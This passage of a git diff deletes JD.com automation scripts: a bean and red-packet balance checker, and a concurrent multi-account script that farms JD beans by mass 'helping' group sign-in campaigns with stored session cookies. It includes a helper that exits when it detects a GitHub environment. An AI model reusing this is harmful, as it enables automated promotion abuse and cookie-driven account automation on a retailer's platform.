{ - console.log(`cookie已过期,或者填写不规范,跳出`) - allt = 1; - } else { - console.log(`未知情况:${JSON.stringify(response)}`); - console.log(`未知情况,跳出`) - allt = 1; - } - } while (allt === 0); - for (let item of allyesterdayArr) { - if (Number(item.amount) > 0) { - $.allincomeBean += Number(item.amount); - } else if (Number(item.amount) < 0) { - $.allexpenseBean += Number(item.amount); - } - } - - - - await queryexpirejingdou();//过期京豆 - await redPacket();//过期红包 - // console.log(`昨日收入:${$.incomeBean}个京豆 🐶`); - // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { - $.beanCount = data.data && data.data['assetInfo']['beanNum']; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function getJingBeanBalanceDetail(page) { - return new Promise(async resolve => { - const options = { - "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, - "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, - "headers": { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Cookie': cookie, - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - // console.log(data) - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function queryexpirejingdou() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Host": "wq.jd.com", - "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" - } - } - $.expirejingdou = 0; - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data) - data = JSON.parse(data.slice(23, -13)); - // console.log(data) - if (data.ret === 0) { - data['expirejingdou'].map(item => { - console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); - }) - $.expirejingdou = data['expirejingdou'][0]['expireamount']; - // if ($.expirejingdou > 0) { - // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; - // } - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function redPacket() { - return new Promise(async resolve => { - const options = { - "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, - "headers": { - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', - 'Accept-Encoding': 'gzip, deflate, br', - "Cookie": cookie, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data).data - $.jxRed = 0, $.jsRed = 0, $.jdRed = 0, $.jdhRed = 0, $.jxRedExpire = 0, $.jsRedExpire = 0, $.jdRedExpire = 0, $.jdhRedExpire = 0; - let t = new Date() - t.setDate(t.getDate() + 1) - t.setHours(0, 0, 0, 0) - t = parseInt((t - 1) / 1000) - for (let vo of data.useRedInfo.redList || []) { - if (vo.activityName.includes("京喜")) { - $.jxRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jxRedExpire += parseFloat(vo.balance) - } - } else if (vo.activityName.includes("极速版")) { - $.jsRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jsRedExpire += parseFloat(vo.balance) - } - } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { - $.jdhRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jdhRedExpire += parseFloat(vo.balance) - } - } else { - $.jdRed += parseFloat(vo.balance) - if (vo['endTime'] === t) { - $.jdRedExpire += parseFloat(vo.balance) - } - } - } - $.jxRed = $.jxRed.toFixed(2) - $.jsRed = $.jsRed.toFixed(2) - $.jdRed = $.jdRed.toFixed(2) - $.balance = data.balance - $.expiredBalance = data.expiredBalance || 0; - $.message += `\n当前总红包:${$.balance}(今日总过期${($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2)})元 🧧\n京喜红包:${$.jxRed}(今日将过期${$.jxRedExpire.toFixed(2)})元 🧧\n极速版红包:${$.jsRed}(今日将过期${$.jsRedExpire.toFixed(2)})元 🧧\n京东红包:${$.jdRed}(今日将过期${$.jdRedExpire.toFixed(2)})元 🧧\n健康红包:${$.jdhRed}(今日将过期${$.jdhRedExpire.toFixed(2)})元 🧧`; - // if ($.expiredBalance > 0) $.message += `\n今明二日过期:${$.expiredBalance}元红包🧧`; - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function timeFormat(time) { - let date; - if (time) { - date = new Date(time) - } else { - date = new Date(); - } - return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_angryBean.js b/backUp/jd_angryBean.js deleted file mode 100644 index 0703327..0000000 --- a/backUp/jd_angryBean.js +++ /dev/null @@ -1,650 +0,0 @@ -/* -真·抢京豆 -更新时间:2021-7-25 -备注:高速并发抢京豆,专治偷助力。设置环境变量angryBeanPins为指定账号助力,默认不助力。环境变量angryBeanMode可选值priority(优先模式)、smart(智能模式)和speed(极速模式),默认speed模式。默认推送通知,如要屏蔽通知需将环境变量enableAngryBeanNotify的值设为false。 -TG学习交流群:https://t.me/cdles -0 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_angryBean.js -*/ -const $ = new Env("真·抢京豆") -const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` -const speed = "speed" -const smart = "smart" -var pins = $.isNode() ? (process.env.angryBeanPins ? process.env.angryBeanPins : "") : ""; -let cookiesArr = []; -var helps = []; -var tools = []; -var maxTimes = 3; -var finished = new Set(); -var init = []; -var mode = $.isNode() ? (process.env.angryBeanMode ? process.env.angryBeanMode : "speed") : "priority"; - -!(async () => { - if ($.isNode() && !pins) { - console.log("请在环境变量中填写需要助力的账号") - return - } - console.log(`开启${mode}模式`) - requireConfig() - for (let i in cookiesArr) { - i = +i - cookie = cookiesArr[i] - var tool = { - id: i, - cookie: cookie, - helps: new Set(), - times: 0, - timeout: 0, - } - var address = pins.indexOf(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if (!$.isNode() || address != -1) { - var data = await requestApi('signGroupHit', cookie, { - activeType: 2 - }); - if (data && data.data && data.data.respCode) { - if (data.data.respCode != "SG100") { - data = await getTuanInfo(cookie) - if (data && data.data && data.data.shareCode) { - console.log(`账号${toChinesNum(i+1)},准备抢京豆`) - var help = { - id: i, - cookie: cookie, - groupCode: data.data.groupCode, - shareCode: data.data.shareCode, - activityId: data.data.activityMsg.activityId, - success: false, - address: address, - notYet: data.data.beanCountProgress.progressNotYet, - } - helps.push(help) - if (mode == speed) { - tool.helps.add(i) - } - init.push(i) - } else { - console.log(`账号${toChinesNum(i+1)},异常`) - } - } else { - console.log(`账号${toChinesNum(i+1)}是黑号,快去怼客服吧`) - } - } else { - console.log(`账号${toChinesNum(i+1)},登录信息过期了`) - } - - } - tools.push(tool) - } - helps.sort((i, j) => { - return i.address > j.address ? 1 : -1 - }) - for (var k = 0; k < (mode == smart ? 50 : 1); k++) { - for (let help of helps) { - if (k != 0) { - if (help.success) break - cookie = help.cookie - data = await getTuanInfo(cookie) - if (data && data.data && data.data.shareCode) { - help.notYet = data.data.beanCountProgress.progressNotYet - } - if (!help.notYet) break - } - await open(help) - } - } - if (mode == speed) { - while (finished.size != init.length) - await $.wait(100) - } - var beanCount = 0 - var msg = "" - for (let help of helps) { - data = await getTuanInfo(help.cookie) - if (data) { - var sumBeanNum = +data.data.sumBeanNumStr - beanCount += sumBeanNum - out = `账号${toChinesNum(help.id+1)},已抢京豆:${sumBeanNum}` - console.log(out) - msg += out + "\n" - } - } - out = `今日累计获得${beanCount}京豆` - console.log(out) - msg += out + "\n" - if (($.isNode() ? (process.env.enableAngryBeanNotify == "false" ? "false" : "true") : "false") == "true") { - require('./sendNotify').sendNotify(`真·抢京豆`, msg); - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function getTuanInfo(cookie) { - return await requestApi('signBeanGroupStageIndex', cookie, { - rnVersion: "3.9", - fp: "-1", - shshshfp: "-1", - shshshfpa: "-1", - referUrl: "-1", - userAgent: "-1", - jda: "-1", - monitor_source: "bean_m_bean_index" - }); -} - -async function open(help) { - var tool = tools.pop() - if (!tool) { - finished.add(help.id) - return - } - if (mode == smart && !help.notYet) { - return - } - if (mode == speed) { - tool.timeout++ - ecpt = new Set(tool.helps, finished) - diff = new Set(init.filter(hid => !ecpt.has(hid))) - if (tool.timeout > maxTimes * 2) { //超时处理 - open(help) - return - } - if (diff.size == 0) { //助力完成 - open(help) - return - } else { - if (tool.helps.has(help.id)) { //阻止自己给自己助力 - tools.unshift(tool) - open(help) - return - } - //ok - } - } else { - if (tool.helps.has(help.id)) { - tool.helps.add(help.id) - tools.unshift(tool) - finished.add(help.id) - return - } - if (tool.id == help.id) { - tool.helps.add(help.id) - tools.unshift(tool) - await open(help) - return - } - } - async function handle(data) { - var helpToast = undefined - if (data && data.data && data.data.helpToast) { - tool.helps.add(help.id) - helpToast = data.data.helpToast - if (helpToast.indexOf("助力成功") != -1) { //助力成功 - tool.times++ - help.notYet-- - } - if (helpToast.indexOf("满") != -1) { //该团已经满啦~去帮别人助力吧~ - help.success = true - } - if (helpToast.indexOf("今日助力次数已达上限") != -1) { //您今日助力次数已达上限~ - tool.times = maxTimes - } - if (helpToast.indexOf("火爆") != -1) { //活动太火爆啦~请稍后再试~ - tool.times = maxTimes - } - if (tool.times < maxTimes) { - tools.unshift(tool) - } - } else { - if (data && data.errorMessage == "用户未登录") { - helpToast = "用户未登录" - } else { - tools.unshift(tool) - helpToast = "异常" - } - } - console.log(`${tool.id+1}->${help.id+1} ${helpToast}`) - if (!help.success) { - await open(help) - } else { - finished.add(help.id) - } - } - var params = { - activeType: 2, - groupCode: help.groupCode, - shareCode: help.shareCode, - activeId: help.activityId + "", - source: "guest", - } - if (mode != "speed") { - data = await requestApi('signGroupHelp', tool.cookie, params) - await handle(data) - } else { - requestApi('signGroupHelp', tool.cookie, params).then(handle) - } -} - -function requestApi(functionId, cookie, body = {}, time = 0) { - var url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${JSON.stringify(body)}&appid=ld&client=apple&clientVersion=10.0.4&networkType=wifi&osVersion=13.7&uuid=&openudid=` - return new Promise(resolve => { - $.get({ - url: url, - headers: { - "Cookie": cookie, - "Accept": '*/*', - "Connection": 'keep-alive', - 'Referer': 'https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html?has_native=0', - "origin": "https://h5.m.jd.com", - 'Content-Type': 'application/x-www-form-urlencoded', - "X-Requested-With": "com.jingdong.app.mall", - "User-Agent": ua, - "Host": "api.m.jd.com", - }, - timeout: 2500, - }, (_, resp, data) => { - if (data) { - data = JSON.parse(data) - resolve(data) - } else { - if (time == 5) { - resolve(0) - } else { - requestApi(functionId, cookie, body, time + 1).then(function (data) { - resolve(data) - }) - } - } - }) - }) -} - -let toChinesNum = (num) => { - let changeNum = ['零', '一', '二', '三', '四', '五', '六', '七', '八', '九']; - let unit = ["", "十", "百", "千", "万"]; - num = parseInt(num); - let getWan = (temp) => { - let strArr = temp.toString().split("").reverse(); - let newNum = ""; - for (var i = 0; i < strArr.length; i++) { - newNum = (i == 0 && strArr[i] == 0 ? "" : (i > 0 && strArr[i] == 0 && strArr[i - 1] == 0 ? "" : changeNum[strArr[i]] + (strArr[i] == 0 ? unit[0] : unit[i]))) + newNum; - } - return newNum; - } - let overWan = Math.floor(num / 10000); - let noWan = num % 10000; - if (noWan.toString().length < 4) { - noWan = "0" + noWan; - } - return overWan ? getWan(overWan) + "万" + getWan(noWan) : getWan(num); -} - -function requireConfig() { - return new Promise(resolve => { - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch (e) { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch (e) { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, 